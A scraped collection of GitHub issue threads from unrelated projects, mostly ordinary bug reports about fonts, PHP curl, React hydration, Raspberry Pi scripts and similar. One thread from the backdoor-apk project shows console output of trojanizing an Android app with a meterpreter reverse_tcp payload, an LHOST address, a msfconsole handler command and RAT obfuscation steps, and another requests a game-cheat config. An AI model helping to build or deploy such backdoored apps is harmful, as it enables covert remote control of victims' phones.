      - ALTBGPROVIDER=https://source.unsplash.com/random
      - METRICTEMP=true
      - CHECKSTATUS=false

Weather API works fine now 🤷

As there is no workable information in the error logs and I can't recreate the problem I'm closing this issue. If you do manage to capture any errors relating to this in your logs please reopen.

authors: Kye-NG Tataukee daledavies

repo: daledavies/jump


text:
Kiri font has broken 0 (zero) character.

Width of zero character is incorrect in kiri font.
This cause overlaping other characters on zero character.
It is quite easy to fix in FontForge.

Thank you for reporting. Have you done the fix yourself?

I edited KiriFont.otf and it works fine for me.
I'm not sure if it's complete solution.


text:
Only perform sample plot selection if mouse pressed event occurred within the plot.

That is, if the user starts the drag over one sample and then moves the mouse over a second sample, don't also create a selection in the second sample.

Addressed by https://github.com/damellis/sensors/commit/d4c60b1338a2c554a04eb2fafdc9cb1dfdeab797

authors: damellis nebgnahz

repo: damellis/sensors


text:
安装后在whmcs中找不到

您好，感谢您开发了此项目，我在whmcs8.8中将该项目的所有文件复制到了modules/gateways目录下，但是在whmcs中无论是支付模块还是插件模块找不到airwallex-whmcs，请问该如何激活此插件？

https://docs.whmcs.com/Payment_Gateways#Activating_a_Payment_Gateway

repo: damonto/airwallex-whmcs


text:
I tried everything possible, but the error does not go away. help me please.

root@kali:~/backdoor-apk/backdoor-apk# ./backdoor-apk.sh cleanmaster.apk
________
/ ______
|| _  _ ||
||| || |||          AAAAAA   PPPPPPP   KKK  KKK
||||||||         AAA  AAA  PPP  PPP  KKK KKK
|| _  o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
||||||||         AAA  AAA  PPP       KKK  KKK
||||         AAA  AAA  PPP       KKK  KKK
/
________||_____________________________________
/
||            Dana James Traversie
[*] Running backdoor-apk.sh v0.2.3 on Sat Apr 14 18:53:49 EDT 2018
[+] Android payload options:

meterpreter/reverse_http   4) shell/reverse_http
meterpreter/reverse_https  5) shell/reverse_https
meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: 185.225.241.81
[?] Please enter an LPORT value: 4444
[+] Android manifest permission options:
Keep original
Merge with payload and shuffle
[?] Please select an Android manifest permission option: 2
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[] Generating RAT APK file...done.
[] Decompiling original APK file...done.
[] Decompiling RAT APK file...done.
[] Merging permissions of original and payload projects...done.
[] Running proguard on RAT APK file...done.
[] Decompiling obfuscated RAT APK file...done.
[] Creating new directories in original project for RAT smali files...done.
[] Copying RAT smali files to new directories in original project...done.
[] Fixing RAT smali files...done.
[] Obfuscating const-string values in RAT smali files...done.
[] Locating smali file to hook in original project...done.
[] Adding hook in original smali file..../backdoor-apk.sh: line 85: [: too many arguments
done.
[!] Failed to add hook

@Djon253 Are you working with a legit APK from the Google store? If not, there are so many things that could be wrong with the APK that it cannot be supported.

repo: dana-at-cp/backdoor-apk


text:
Add Dex2jar as Third-Party

I think dex2jar should be Third-Party :)

@aancw I appreciate the effort but my goal is actually to reduce the number of third-party programs that are bundled with backdoor-apk.

authors: aancw dana-at-cp


text:
http://127.0.0.1:11470/stremio://stremio-addons.netlify.app/catalog.json

Addon Manifest URL
http://127.0.0.1:11470/stremio://stremio-addons.netlify.app/catalog.json
Addon Description
Ok
Language of Content
Multilingual (Default)
Choose Labels

[X] anime
[X] asian drama
[X] bollywood
[X] cartoons
[X] debrid support
[X] http streams
[X] live tv
[X] metadata
[X] misc
[X] movies
[X] music
[X] nsfw
[X] podcasts
[X] radios
[X] subtitles
[X] torrents
[X] tv shows
[X] video games

http://127.0.0.1:11470/stremio://stremio-addons.netlify.app/catalog.json
في الأحد، ١٤ يناير ٢٠٢٤, ٥:٠٨ ص Stripes @.***> كتب:

Closed #270 https://github.com/danamag/stremio-addons-list/issues/270
as completed.
—
Reply to this email directly, view it on GitHub
https://github.com/danamag/stremio-addons-list/issues/270#event-11479628317,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BDUE3Y4A3CRMOIQ4C7MXL4TYOM42DAVCNFSM6AAAAABBZXTJLWVHI2DSMVQWIX3LMV45UABCJFZXG5LFIV3GK3TUJZXXI2LGNFRWC5DJN5XDWMJRGQ3TSNRSHAZTCNY
.
You are receiving this because you authored the thread.Message ID:
@.***>

لا اعرف ماذا افعل

repo: danamag/stremio-addons-list


text:
Issue on Bullseye OS

Updated to the latest Raspberry Pi OS with Bullseye and now I am getting the following error when running the script.  I have one of the original versions of this script on my prior build before your fork of that project, which works, but would eventually error out.  I copied it over to this new Bullseye build and at immediately throws the same error as my fresh script.

Unfortunately I'm have the exact same issue after upgrading to Bullseye.

I have fallen back to just using the stats display without the UPS info.  I can get that to run properly based on the original work of @mklements, but as he suggested, I don't know that the UPS is ready for Bullseye.

I was able to change a few things and get it working with bullseye, with charge/discharge/voltage/etc...

Here is my working code, including charging/discharging/voltage/etc for this project under 11.1, Raspbian Bullseye.
https://street-tek.dev/stats.py

Here is my working code, including charging/discharging/voltage/etc for this project under 11.1, Raspbian Bullseye.
https://street-tek.dev/stats.py

excuse me kind sir, after trying to apply your code to my system I appear to be running the script for a little while(varies from 1 min to 10 mins) then I get an error:
aReceiveBuf = bus.read_i2c_block_data(DEVICE_ADDR, 0, 32)
ioctl(self.fd, I2C_SMBUS, msg)
OSError: [Errno 121] Remote I/O error
I am able to start it up again, and it will run for a little while (again from 1-10 minutes) then it will give that error. any tips or information about fixing this issue?

Here is my working code, including charging/discharging/voltage/etc for this project under 11.1, Raspbian Bullseye.

https://street-tek.dev/stats.py

excuse me kind sir, after trying to apply your code to my system I appear to be running the script for a little while(varies from 1 min to 10 mins) then I get an error:
aReceiveBuf = bus.read_i2c_block_data(DEVICE_ADDR, 0, 32)
ioctl(self.fd, I2C_SMBUS, msg)
OSError: [Errno 121] Remote I/O error
I am able to start it up again, and it will run for a little while (again from 1-10 minutes) then it will give that error. any tips or information about fixing this issue?

Look in syslog, message, daemon, or kern and see what shows there it should show errors and warning related to the device and give much more details. It could be as simple as a loose connection.

Here is my working code, including charging/discharging/voltage/etc for this project under 11.1, Raspbian Bullseye.
https://street-tek.dev/stats.py

HI, can you post the code here it seams, I don't have authorisation to download it. Thank you.

Here is my working code, including charging/discharging/voltage/etc for this project under 11.1, Raspbian Bullseye.
https://street-tek.dev/stats.py

HI, can you post the code here it seams, I don't have authorisation to download it. Thank you.

Woops, I moved that to a closed system and forgot about a few links.
Code did not seem to format correctly.  I attached as a txt file, just rename it to code.py (py files are not allowed for some reason)
stats.py.txt

Thank you for the script, but still has some issues, probably some dependencies. Installed Ina-219, but for some reason the script cant-find it (I'm so new in this!).  Can you help me. Thank you.

Traceback (most recent call last):
File "/home/PIpc/Downloads/stats.py", line 105, in
ina.configure()
File "/home/PIpc/.local/lib/python3.9/site-packages/ina219.py", line 173, in configure
self._calibrate(
File "/home/PIpc/.local/lib/python3.9/site-packages/ina219.py", line 310, in _calibrate
self._calibration_register(calibration)
File "/home/PIpc/.local/lib/python3.9/site-packages/ina219.py", line 356, in _calibration_register
self.__write_register(self.__REG_CALIBRATION, register_value)
File "/home/PIpc/.local/lib/python3.9/site-packages/ina219.py", line 388, in __write_register
self._i2c.writeList(register, register_bytes)
File "/home/PIpc/.local/lib/python3.9/site-packages/Adafruit_GPIO/I2C.py", line 127, in writeList
self._bus.write_i2c_block_data(self._address, register, data)
File "/home/PIpc/.local/lib/python3.9/site-packages/Adafruit_PureIO/smbus.py", line 357, in write_i2c_block_data
self._device.write(data)
OSError: [Errno 121] Remote I/O error

That needs to be run on the pi itself, so ssh in and run from there.

It is run on the pi itself. The print screen is from the monitor hock it to the pi. I try from the comand prom - same answer. Probably is somthing small but I luck of experiance.

authors: BlackNet SimpleSon Stan4oe alanManster peter-nufc


text:
tweaks to enable windows builds with msvc

bumped version to 0.5.1
Since the libc crate doesn't export a type for mode_t on windows-msvc I've just taken the same approach used by lmdb itself and defined mode_t to be a libc::c_int within environment.rs
The other big thing missing on Windows is OsStrExt::as_bytes which I've bundled a potential solution for.
I'm going to submit a PR for the std crate as well so that perhaps down the road that won't be needed.
An alternative to the solution here could be to change how you're building the CString from a Path in order to find a more general solution that wouldn't require the trait I provided.
I'm happy to scrap this trait and attempt that if you'd prefer it.

Thanks for the PR!  Are these the only changes necessary to get it working on Windows?  If so I can set up appveyor to make sure it doesn't regress.

Hi @danburkert I've gotta head to bed, but tomorrow afternoon I'll address your line comments and get the PR updated.
This was all I had to do to get a windows build working. I'm using VisualStudio 14 (2015) 64-bit. I haven't tested with mingw.

Sounds good, thanks.

Okidoki I think this is in the shape you need it in. Let me know if there is anything else I need to do.
Cheers!

Thanks again!  Appveyor is now set up, so Windows/MSVC is now officially supported as of 0.6.

authors: danburkert photex

repo: danburkert/lmdb-rs


text:
Animate.css Conflict With Perspective & Preserve-3D properties

Environment Details:
1-WordPress install
2-Elementor Page Builder (Includes Animate.css)
(Have also tried dequeuing Elementor's animate.css and enqueuing it separately, no joy, same following result)
3-Specific animations tested don't use 3d space themselves, they are fadeIn and fadeInUp
Successful Scenario 1:
When using animate.css to animate an element within an Elementor built page - the element successfully animates.
Failed Scenario 2:
When attempting to achieve the same results as from Scenario 1 within a page that employs the following page structure and CSS, animate.css never animates. Animated Element exists within the . ContentContainer class.  It also keeps the element 'hidden' in a pre-animated state. (The same happens with AOS.js/css and while that is a different library, I feel the issue is shared between animate and AOS).

         // Headlines for the page

       // Put the rest of my page content here

CSS:
.MainContainer {
perspective: 1px;
transform-style: preserve-3d;
height: 100vh;
overflow-x: hidden;
overflow-y: scroll;
}
.ParallaxContainer {
display: flex;
flex: 1 0 auto;
position: relative;
height: 100vh;
transform: translateZ(-1px) scale(2);
z-index: -1;
}

.ContentContainer {
display: block;
position: relative;
background-color: white;
z-index: 1;
}

Is animate.css capable of operating within the above page structure? Is the failure due to operator error or is there an actual problem?
Any and all information, insight, and help is much appreciated.

I think this is not the right place for this problem.
Try it Community or Support of Wordpress / Elementor Page Builder.
Otherwise I suggest you the CodePen in order to test your problem.

Closing as it's unrelated to the library.

authors: AdventurouslySocial eltonmesquita sivot

license: mit


text:
Error when compilng RoiPoolingLayer

Hi I have tried both ways to compile the  RoiPooingLayer. the first one has following error :

python -c 'import tensorflow as tf; tf.load_o
p_library("PARENT_DIR/scene-graph-TF-release-master/lib/roi_pooling_layer/roi_pooling_op_gpu_cuda8.so")'
Traceback (most recent call last):
File "<string>", line 1, in
File "TENSORFLOW_PATH/lib/python2.7/site-packages/tensorflow/python/framework/load_library.py", line 64, in load_op_library
None, None, error_msg, error_code)
tensorflow.python.framework.errors_impl.NotFoundError: TENSORFLOW_PATH/scene-graph-TF-release-master/lib/roi_pooling_layer/roi_pooling_op_gpu_cuda8.so: undefined symbol: _ZN10tensorflow11TensorShapeC1Ev

There are similar problems in TFFRCNN issue post(https://github.com/CharlesShang/TFFRCNN/issues/2).
The solution for it is to add -D_GLIBCXX_USE_CXX11_ABI=0 g++ compile flag in make.sh, whereas in this version there is no make.sh. Then I tried to add this extra flag on sefl by myself. Then following error appears:

nvcc -std=c++11 -c -o roi_pooling_op_gpu.cu.o
roi_pooling_op_gpu.cu.cc -I     $TF_INC -D GOOGLE_CUDA=1 -x cu -Xcompiler -fPIC
roi_pooling_op_gpu.cu.cc:9:57: fatal error: tensorflow/core/user_ops/roi_pooling_op_gpu.h: No such file or directory
Note that I MANUALLY created .../user_ops/ and move every file under .../src/ to .../user_ops/. since there is no such folder before and maybe this is the problem.

Please help me out!  Thanks !!!

Problem solved by using Tensorflow r0.11

I have the same issue ("fatal error: tensorflow/core/user_ops/roi_pooling_op_gpu.h: No such file or directory") and it persists after I installed the correct version of tensorflow.

repo: danfeiX/scene-graph-TF-release


text:
不支持replace into

private static SQLASTOutputVisitor getSQLVisitor(final DatabaseType databaseType, final SQLStatement sqlStatement) {
        if (sqlStatement instanceof SQLSelectStatement) {
            return VisitorLogProxy.enhance(SQLVisitorRegistry.getSelectVistor(databaseType));
        }
        if (sqlStatement instanceof SQLInsertStatement) {
            return VisitorLogProxy.enhance(SQLVisitorRegistry.getInsertVistor(databaseType));
        }
        if (sqlStatement instanceof SQLUpdateStatement) {
            return VisitorLogProxy.enhance(SQLVisitorRegistry.getUpdateVistor(databaseType));
        }
        if (sqlStatement instanceof SQLDeleteStatement) {
            return VisitorLogProxy.enhance(SQLVisitorRegistry.getDeleteVistor(databaseType));
        }
        throw new SQLParserException("Unsupported SQL statement: [%s]", sqlStatement);
    }

精力有限，暂时没计划支持

authors: terrymanu wenlinguo

repo: dangdangdotcom/sharding-jdbc


text:
Call to undefined function Unirest\curl_init()

Hey
When I call matecritic.php I get this fatal error: Call to undefined function Unirest\curl_init(). I have the php_curl.dll file under my php extensions. Ive also added my php directory in the system variable "path". I should probably note that im trying to call this script from a c++ program.
Could you maybe help me with this?

It's important to first install all dependencies using composer.

Did you also try example.php?

Im using php in command line. For now, all my c++ program does is simulate a command line. It calls example.php and passes an argument (game name) to the script and should receive the JSON output echo. I have the following version of php installed: PHP 8.1.4 (cli) (built: Mar 16 2022 09:32:18) (NTS Visual C++ 2019 x64).

OK. So I can't reproduce the problem on my Linux machine with PHP cli. So PHP 8 should work.
The only option would be that curl is not enabled. Did you remove the semi-colon(;)  in front of the extension=php_curl.dll line?

You can validate whether cURL is enabled or not in PHP using and check the output:
<?php
phpinfo();
?>

Add this content to a phpinfo.php file for example.

I have a php.ini-development file and a php.ini-production file. extension=php_curl.dll was absent in both files so i just added it myself. There was a line in both files ;extension=curl and I removed the ; in both. The result is the same. I executed the phpinfo() and there is only one instance of curl mentioned:
. Its not like your output even tough I removed the ; .

I have a php.ini-development file and a php.ini-production file. extension=php_curl.dll was absent in both files so i just added it myself. There was a line in both files ;extension=curl and I removed the ; in both. The result is the same. I executed the phpinfo() and there is only one instance of curl mentioned: . Its not like your output even tough I removed the ; .

You are using windows right? Do not enable this other line please. That is for Linux only. Only apply the extension lines with dll at the end.

I think I managed to solve it.

Loaded Configuration File => was empty, so I just changed the php.ini-development file to php.ini. Now I dont get this error anymore.

Ah great. Good job.


text:
Cookies is not defined

We have a CI build that worked 12hours ago against angular JS v1.3.8 - angular in the last 12 hours have bumped to v1.3.9 and now our build gets the an unreferenced error, as shown:
Uncaught ReferenceError: cookies is not definedangular-file-upload-shim.js:4 19../angular-cookies_prelude.js:1 s_prelude.js:1 (anonymous function)app.js:35 292../requires.js_prelude.js:1 s_prelude.js:1 e_prelude.js:1 (anonymous function)

Just wondering if anybody else has seen this issue? Reverting back to version 1.3.8 works.
J

Just wondering if anybody else is having issues with this? The latest update to angular does not work as expected with file-upload.

angular-file-upload is not usiing cookies. It is probably from your other dependencies.

The demo page works with 1.3.9.
Could you narrow down which library is conflicting with this plugin? It might be angular-cookies that is conflicting.

The latest version bump 1.3.13 of Angular seems to have resolved this issue.

authors: danialfarid longieirl

repo: danialfarid/angular-file-upload


text:
Update to React v18

Updates to React v18, which is a breaking change.
Note: This is a breaking change as consumer will have to update react and react-dom separately from our packages.

Unfortunately, this appears to break hydration. (It resorts to re-rendering from scratch.)
This doesn't seem to happen under React v16.
The error is a bit misleading (it complains about the first DOM element that is rendered, so matter what it is, even when the output is identical between client and server.)

I wonder if it is something in the app-composer that causes this. (Previously the error indicated Suspense was the issue, and we were switching between Suspense and Fragment depending on client vs server. - As an aside, we should also consider using Suspense on both sides as it is supposed to support SSR now.)
There's also a possibility that upgrading one of the components in app-composer could fix this.

repo: daniel-ac-martin/NotGovUK


text:
Merges all episodes of a series as a single one with many versions on some edge-cases

On some scenarios, the plugin merges all episodes as a single one.
I'm not 100% sure but it seems to happen when the plugin is scheduled to merge at the same time as a series is being scanned for the first time. I think the plugin is not making sure that the episode is fully scanned and, when grouping, all episodes report the same (unexistent???) data for episode number, causing the plugin to set all episodes as a single group:
var duplications = episodes.GroupBy(x => new {x.SeriesName,x.SeasonName, x.Name,x.IndexNumber, x.ProductionYear }).Where(x => x.Count() > 1).ToList();

I believe a filter should be applied to the episodes to either check if all the fields have been set or if they have been scanned.

This happened to me, all my got merged into single episodes. Dashboard and Library were not showing a library scan.

authors: nitschis rubasace


text:
🛑 Danielbhost is down

In 57bf62e, Danielbhost (https://danielbhost.xyz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Danielbhost is back up in 787989e.

repo: danielbParadocs/rangeEventsStatus


text:
[Feature] Double-tap Gesture

Hello guys!
Amazing library! Thank you!
One question. I have to implement double-tap gesture on chart. It should behave like Apple's Stocks app (screenshot attached). Is it possible with iOS-Charts?

Thank in advance!

there is a double tap gesture already; you can provide a custom handler for it.
        _doubleTapGestureRecognizer = NSUITapGestureRecognizer(target: self, action: Selector("doubleTapGestureRecognized:"))
        _doubleTapGestureRecognizer.nsuiNumberOfTapsRequired = 2

BTW, I am curious, how do you implement the filling area visual effect? the gradient effect with many thin and askew lines

@liuxuan30 that could be a tiled UIImage

The interesting thing is drawing part of the fill and stroke with a different color. It must be a different layer, as you can't have a gradient account for both the vertical gradient in the picture, and the difference between the black/gray and the highlighted blue. So my guess is "clip to the highlighted region, draw the same dataset with a different colorset".

authors: IgorGalay danielgindi liuxuan30

repo: danielgindi/ios-charts


text:
Ideas / Questions from Stepan's talk

Is estimation based on the semiempirical method reliable for cases where spectra widths differ from the reference?
ML for NEA - preferable to optimal sampling or vice versa?
ML for NEA - how to deal with multiple excited states?
How does it differ from the approach published by Barbatti?

Closed in favour of #14

repo: danielhollas/aiidalab-ispg


text:
OSIRIS LEGIT CONFIG

yeah i need one can i get one

I can make one once I get it running.

Bruh. I'm sorry, but this is a fucking issue section. Not a config section on a forum.
There's plenty of sites you can find that have Osiris Configs. Namely, https://corsair.wtf/

authors: DaghanKurt DemonOfSelzar xXTOO-HARDXx

repo: danielkrupinski/Osiris


text:
Publish for sbt 1.0

Play 2.6.6 was released with support for sbt 1.0

Done and released as 1.1.0.

Awesome, thank you!

authors: danielnixon marconilanna

repo: danielnixon/playwarts